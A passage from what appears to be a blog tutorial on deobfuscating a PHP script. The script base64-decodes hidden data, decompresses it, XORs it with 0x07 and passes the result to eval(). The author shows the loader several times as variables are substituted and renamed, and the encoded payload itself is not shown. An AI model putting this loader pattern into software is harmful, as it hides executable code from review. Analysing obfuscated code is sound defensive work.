            <span style="color: #0000ff;">$lllllllll</span>=<span style="color: #cc66cc;">16</span>;
        <span style="color: #66cc66;">&#125;</span><span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllll</span>&amp;0x8000<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
            <span style="color: #0000ff;">$lll</span>=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">4</span><span style="color: #66cc66;">&#41;</span>;
            <span style="color: #0000ff;">$lll</span>+=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&gt;&gt;<span style="color: #cc66cc;">4</span><span style="color: #66cc66;">&#41;</span>;
            <span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lll</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
                <span style="color: #0000ff;">$ll</span>=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&amp;0x0f<span style="color: #66cc66;">&#41;</span><span style="color: #cc66cc;">+3</span>;
                <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llll</span>=<span style="color: #cc66cc;">0</span>;<span style="color: #0000ff;">$llll</span>&lt;<span style="color: #0000ff;">$ll</span>;<span style="color: #0000ff;">$llll</span>++<span style="color: #66cc66;">&#41;</span>
                    <span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllllll</span>+<span style="color: #0000ff;">$llll</span><span style="color: #66cc66;">&#93;</span>=<span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllllll</span>-<span style="color: #0000ff;">$lll</span>+<span style="color: #0000ff;">$llll</span><span style="color: #66cc66;">&#93;</span>;
                <span style="color: #0000ff;">$lllllll</span>+=<span style="color: #0000ff;">$ll</span>;
            <span style="color: #66cc66;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #66cc66;">&#123;</span>
                <span style="color: #0000ff;">$ll</span>=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">8</span><span style="color: #66cc66;">&#41;</span>;
                <span style="color: #0000ff;">$ll</span>+=<span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span><span style="color: #cc66cc;">+16</span>;
                <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llll</span>=<span style="color: #cc66cc;">0</span>;
                    <span style="color: #0000ff;">$llll</span>&lt;<span style="color: #0000ff;">$ll</span>;
                    <span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllllll</span>+<span style="color: #0000ff;">$llll</span>++<span style="color: #66cc66;">&#93;</span>=<span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
                <span style="color: #0000ff;">$lllll</span>++;
                <span style="color: #0000ff;">$lllllll</span>+=<span style="color: #0000ff;">$ll</span>;
            <span style="color: #66cc66;">&#125;</span>
        <span style="color: #66cc66;">&#125;</span> <span style="color: #b1b100;">else</span>
            <span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllllll</span>++<span style="color: #66cc66;">&#93;</span>=<span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;
        <span style="color: #0000ff;">$llllll</span>&lt;&lt;=<span style="color: #cc66cc;">1</span>;
        <span style="color: #0000ff;">$lllllllll</span>--;
    <span style="color: #66cc66;">&#125;</span>
    <span style="color: #0000ff;">$llllllllllll</span>=<span style="color: #ff0000;">'chr'</span>; <span style="color: #808080; font-style: italic;">//here</span>
    <span style="color: #0000ff;">$lllll</span>=<span style="color: #cc66cc;">0</span>;
    <span style="color: #0000ff;">$lllllllll</span>=<span style="color: #ff0000;">&quot;?&quot;</span>.<span style="color: #0000ff;">$llllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">62</span><span style="color: #66cc66;">&#41;</span>; <span style="color: #808080; font-style: italic;">//here</span>
    <span style="color: #0000ff;">$llllllllll</span>=<span style="color: #ff0000;">&quot;&quot;</span>;
    <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span>;<span style="color: #0000ff;">$lllll</span>&lt;<span style="color: #0000ff;">$lllllll</span>;<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
        <span style="color: #0000ff;">$llllllllll</span>.=<span style="color: #0000ff;">$llllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span>^0x07<span style="color: #66cc66;">&#41;</span>;
    <span style="color: #66cc66;">&#125;</span>
    <span style="color: #0000ff;">$lllllllll</span>.=<span style="color: #0000ff;">$llllllllll</span>.<span style="color: #0000ff;">$llllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">60</span><span style="color: #66cc66;">&#41;</span>.<span style="color: #ff0000;">&quot;?&quot;</span>; <span style="color: #808080; font-style: italic;">//here</span>
    <a href="http://www.php.net/eval"><span style="color: #000066;">eval</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllll</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">?&gt;</span>
&nbsp;</pre>
<p>Next we perform the variable transformations that the first few eval() calls call for. Please note that towards the bottom there are a few variables we can't simply replace just yet.</p>
<pre class="php">&nbsp;
<span style="color: #000000; font-weight: bold;">&lt;?php</span>
&nbsp;
    <span style="color: #0000ff;">$lll</span>=<span style="color: #cc66cc;">0</span>;
    <span style="color: #0000ff;">$ll</span>=<span style="color: #cc66cc;">0</span>;
    <span style="color: #0000ff;">$llll</span>=<span style="color: #cc66cc;">0</span>;
    <span style="color: #0000ff;">$lllll</span>=<span style="color: #cc66cc;">3</span>;
    <span style="color: #0000ff;">$l</span>=<a href="http://www.php.net/base64_decode"><span style="color: #000066;">base64_decode</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$o</span><span style="color: #66cc66;">&#41;</span>; <span style="color: #808080; font-style: italic;">//Leaving this since I only want it to evaluate once</span>
    <span style="color: #0000ff;">$lllllll</span>=<span style="color: #cc66cc;">0</span>;
    <span style="color: #0000ff;">$llllll</span>=<span style="color: #66cc66;">&#40;</span><a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">8</span><span style="color: #66cc66;">&#41;</span>+<a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;
    <span style="color: #0000ff;">$lllllllll</span>=<span style="color: #cc66cc;">16</span>;
    <span style="color: #0000ff;">$llllllll</span>=<span style="color: #ff0000;">&quot;&quot;</span>;
    <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span>;<span style="color: #0000ff;">$lllll</span>&lt;strlen<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
        <span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllll</span>==<span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
            <span style="color: #0000ff;">$llllll</span>=<span style="color: #66cc66;">&#40;</span><a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">8</span><span style="color: #66cc66;">&#41;</span>;
            <span style="color: #0000ff;">$llllll</span>+=<a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;
            <span style="color: #0000ff;">$lllllllll</span>=<span style="color: #cc66cc;">16</span>;
        <span style="color: #66cc66;">&#125;</span><span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllll</span>&amp;0x8000<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
            <span style="color: #0000ff;">$lll</span>=<span style="color: #66cc66;">&#40;</span><a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">4</span><span style="color: #66cc66;">&#41;</span>;
            <span style="color: #0000ff;">$lll</span>+=<span style="color: #66cc66;">&#40;</span><a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&gt;&gt;<span style="color: #cc66cc;">4</span><span style="color: #66cc66;">&#41;</span>;
            <span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lll</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
                <span style="color: #0000ff;">$ll</span>=<span style="color: #66cc66;">&#40;</span><a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&amp;0x0f<span style="color: #66cc66;">&#41;</span><span style="color: #cc66cc;">+3</span>;
                <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llll</span>=<span style="color: #cc66cc;">0</span>;<span style="color: #0000ff;">$llll</span>&lt;<span style="color: #0000ff;">$ll</span>;<span style="color: #0000ff;">$llll</span>++<span style="color: #66cc66;">&#41;</span>
                    <span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllllll</span>+<span style="color: #0000ff;">$llll</span><span style="color: #66cc66;">&#93;</span>=<span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllllll</span>-<span style="color: #0000ff;">$lll</span>+<span style="color: #0000ff;">$llll</span><span style="color: #66cc66;">&#93;</span>;
                <span style="color: #0000ff;">$lllllll</span>+=<span style="color: #0000ff;">$ll</span>;
            <span style="color: #66cc66;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #66cc66;">&#123;</span>
                <span style="color: #0000ff;">$ll</span>=<span style="color: #66cc66;">&#40;</span><a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">8</span><span style="color: #66cc66;">&#41;</span>;
                <span style="color: #0000ff;">$ll</span>+=<a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span><span style="color: #cc66cc;">+16</span>;
                <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llll</span>=<span style="color: #cc66cc;">0</span>;
                    <span style="color: #0000ff;">$llll</span>&lt;<span style="color: #0000ff;">$ll</span>;
                    <span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllllll</span>+<span style="color: #0000ff;">$llll</span>++<span style="color: #66cc66;">&#93;</span>=<a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
                <span style="color: #0000ff;">$lllll</span>++;
                <span style="color: #0000ff;">$lllllll</span>+=<span style="color: #0000ff;">$ll</span>;
            <span style="color: #66cc66;">&#125;</span>
        <span style="color: #66cc66;">&#125;</span> <span style="color: #b1b100;">else</span>
            <span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllllll</span>++<span style="color: #66cc66;">&#93;</span>=<a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;
        <span style="color: #0000ff;">$llllll</span>&lt;&lt;=<span style="color: #cc66cc;">1</span>;
        <span style="color: #0000ff;">$lllllllll</span>--;
    <span style="color: #66cc66;">&#125;</span>
    <span style="color: #0000ff;">$lllll</span>=<span style="color: #cc66cc;">0</span>;
    <span style="color: #0000ff;">$lllllllll</span>=<span style="color: #ff0000;">&quot;?&quot;</span>.<a href="http://www.php.net/chr"><span style="color: #000066;">chr</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">62</span><span style="color: #66cc66;">&#41;</span>; <span style="color: #808080; font-style: italic;">//Leaving as we can't evaluate yet.</span>
    <span style="color: #0000ff;">$llllllllll</span>=<span style="color: #ff0000;">&quot;&quot;</span>;
    <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span>;<span style="color: #0000ff;">$lllll</span>&lt;<span style="color: #0000ff;">$lllllll</span>;<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
        <span style="color: #0000ff;">$llllllllll</span>.=<a href="http://www.php.net/chr"><span style="color: #000066;">chr</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span>^0x07<span style="color: #66cc66;">&#41;</span>;
    <span style="color: #66cc66;">&#125;</span>
    <span style="color: #0000ff;">$lllllllll</span>.=<span style="color: #0000ff;">$llllllllll</span>.<a href="http://www.php.net/chr"><span style="color: #000066;">chr</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">60</span><span style="color: #66cc66;">&#41;</span>.<span style="color: #ff0000;">&quot;?&quot;</span>; <span style="color: #808080; font-style: italic;">//Leaving as we can't evaluate yet.</span>
    <a href="http://www.php.net/eval"><span style="color: #000066;">eval</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllll</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">?&gt;</span>
&nbsp;</pre>
<p>Now, let's make it readable by translating all those $l variables into english letters. First one will be $a, next $b, etc etc. Alright, I missed one and had to go back, but here it is.</p>
<pre class="php"><ol start="0"><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #000000; font-weight: bold;">&lt;?php</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">    <span style="color: #0000ff;">$a</span>=<span style="color: #cc66cc;">0</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">    <span style="color: #0000ff;">$b</span>=<span style="color: #cc66cc;">0</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">    <span style="color: #0000ff;">$c</span>=<span style="color: #cc66cc;">0</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">    <span style="color: #0000ff;">$d</span>=<span style="color: #cc66cc;">3</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">    <span style="color: #0000ff;">$l</span>=<a href="http://www.php.net/base64_decode"><span style="color: #000066;">base64_decode</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$o</span><span style="color: #66cc66;">&#41;</span>; <span style="color: #808080; font-style: italic;">//leaving this as $l</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">    <span style="color: #0000ff;">$e</span>=<span style="color: #cc66cc;">0</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">    <span style="color: #0000ff;">$g</span>=<span style="color: #66cc66;">&#40;</span><a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">8</span><span style="color: #66cc66;">&#41;</span>+<a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>; <span style="color: #808080; font-style: italic;">//whoops, skipped one...</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">    <span style="color: #0000ff;">$f</span>=<span style="color: #cc66cc;">16</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">    <span style="color: #0000ff;">$h</span>=<span style="color: #ff0000;">&quot;&quot;</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">    <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span>;<span style="color: #0000ff;">$d</span>&lt;strlen<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">        <span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$f</span>==<span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">            <span style="color: #0000ff;">$g</span>=<span style="color: #66cc66;">&#40;</span><a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$d</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">8</span><span style="color: #66cc66;">&#41;</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">            <span style="color: #0000ff;">$g</span>+=<a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$d</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">            <span style="color: #0000ff;">$f</span>=<span style="color: #cc66cc;">16</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">        <span style="color: #66cc66;">&#125;</span><span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$g</span>&amp;0x8000<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">            <span style="color: #0000ff;">$a</span>=<span style="color: #66cc66;">&#40;</span><a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$d</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">4</span><span style="color: #66cc66;">&#41;</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">            <span style="color: #0000ff;">$a</span>+=<span style="color: #66cc66;">&#40;</span><a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$d</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&gt;&gt;<span style="color: #cc66cc;">4</span><span style="color: #66cc66;">&#41;</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">            <span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$a</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">                <span style="color: #0000ff;">$b</span>=<span style="color: #66cc66;">&#40;</span><a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$d</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&amp;0x0f<span style="color: #66cc66;">&#41;</span><span style="color: #cc66cc;">+3</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">                <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$c</span>=<span style="color: #cc66cc;">0</span>;<span style="color: #0000ff;">$c</span>&lt;<span style="color: #0000ff;">$b</span>;<span style="color: #0000ff;">$c</span>++<span style="color: #66cc66;">&#41;</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">                    <span style="color: #0000ff;">$h</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$e</span>+<span style="color: #0000ff;">$c</span><span style="color: #66cc66;">&#93;</span>=<span style="color: #0000ff;">$h</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$e</span>-<span style="color: #0000ff;">$a</span>+<span style="color: #0000ff;">$c</span><span style="color: #66cc66;">&#93;</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">                <span style="color: #0000ff;">$e</span>+=<span style="color: #0000ff;">$b</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">            <span style="color: #66cc66;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #66cc66;">&#123;</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">                <span style="color: #0000ff;">$b</span>=<span style="color: #66cc66;">&#40;</span><a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$d</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">8</span><span style="color: #66cc66;">&#41;</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">                <span style="color: #0000ff;">$b</span>+=<a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$d</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span><span style="color: #cc66cc;">+16</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">                <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$c</span>=<span style="color: #cc66cc;">0</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">                    <span style="color: #0000ff;">$c</span>&lt;<span style="color: #0000ff;">$b</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">                    <span style="color: #0000ff;">$h</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$e</span>+<span style="color: #0000ff;">$c</span>++<span style="color: #66cc66;">&#93;</span>=<a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: 